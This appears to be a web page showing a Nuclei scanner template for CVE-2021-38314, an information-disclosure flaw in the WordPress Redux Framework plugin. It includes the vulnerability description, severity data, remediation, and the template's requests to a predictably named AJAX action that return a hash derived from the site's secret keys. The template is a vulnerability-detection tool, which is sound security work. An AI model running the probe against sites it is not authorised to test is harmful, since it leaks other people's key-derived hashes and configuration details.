WordPress Redux Framework <=4.2.11 - Information Disclosure
ID: CVE-2021-38314
Severity: medium
Author: meme-lord
Tags: cve2021,cve,wordpress,wp-plugin,redux
Description
Section titled “Description”WordPress Redux Framework plugin through 4.2.11 is susceptible to information disclosure. The plugin registers several unique AJAX actions available to unauthenticated users in the includes function in redux-core/class-redux-core.php. These are predictable, given that they are based on an md5 hash of the site URL with a known salt value of -redux and an md5 hash of the previous hash with a known salt value of -support. An attacker can potentially employ these AJAX actions to retrieve a list of active plugins and their versions, the site’s PHP version, and an unsalted md5 hash of the site’s AUTH_KEY concatenated with the SECURE_AUTH_KEY.
YAML Source
Section titled “YAML Source”id: CVE-2021-38314
info: name: WordPress Redux Framework <=4.2.11 - Information Disclosure author: meme-lord severity: medium description: WordPress Redux Framework plugin through 4.2.11 is susceptible to information disclosure. The plugin registers several unique AJAX actions available to unauthenticated users in the includes function in redux-core/class-redux-core.php. These are predictable, given that they are based on an md5 hash of the site URL with a known salt value of -redux and an md5 hash of the previous hash with a known salt value of -support. An attacker can potentially employ these AJAX actions to retrieve a list of active plugins and their versions, the site's PHP version, and an unsalted md5 hash of the site's AUTH_KEY concatenated with the SECURE_AUTH_KEY. impact: | An attacker can exploit this vulnerability to gain sensitive information from the target system. remediation: | Update WordPress Redux Framework to version 4.2.12 or later. reference: - https://www.wordfence.com/blog/2021/09/over-1-million-sites-affected-by-redux-framework-vulnerabilities/ - https://wahaz.medium.com/unauthenticated-sensitive-information-disclosure-at-redacted-2702224098c - https://blog.sorcery.ie/posts/redux_wordpress/ - https://nvd.nist.gov/vuln/detail/CVE-2021-38314 - https://github.com/ARPSyndicate/kenzer-templates classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N cvss-score: 5.3 cve-id: CVE-2021-38314 cwe-id: CWE-916,CWE-200 epss-score: 0.00153 epss-percentile: 0.51586 cpe: cpe:2.3:a:redux:gutenberg_template_library_\&_redux_framework:*:*:*:*:*:wordpress:*:* metadata: max-request: 2 vendor: redux product: gutenberg_template_library_\&_redux_framework framework: wordpress tags: cve2021,cve,wordpress,wp-plugin,redux
http: - raw: - | GET /wp-admin/admin-ajax.php?action={{md5(replace('http://HOST/-redux','HOST',Hostname))}} HTTP/1.1 Host: {{Hostname}} Accept: */* - | GET /wp-admin/admin-ajax.php?action={{md5(replace('https://HOST/-redux','HOST',Hostname))}} HTTP/1.1 Host: {{Hostname}} Accept: */*
stop-at-first-match: true
matchers-condition: and matchers: - type: dsl dsl: - "len(body)<50"
- type: regex name: meme part: body regex: - '[a-f0-9]{32}'
- type: status status: - 200
extractors: - type: regex regex: - '[a-f0-9]{32}' part: body# digest: 4a0a00473045022100eda1adb47b33aab77fdbec3e5188a592b8685bddf963e022e6e03a0e3886e115022056b2983d9afe7529d359dfbb7919e2db7c6c31603e07b560104d303a1deceb32:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-38314.yaml"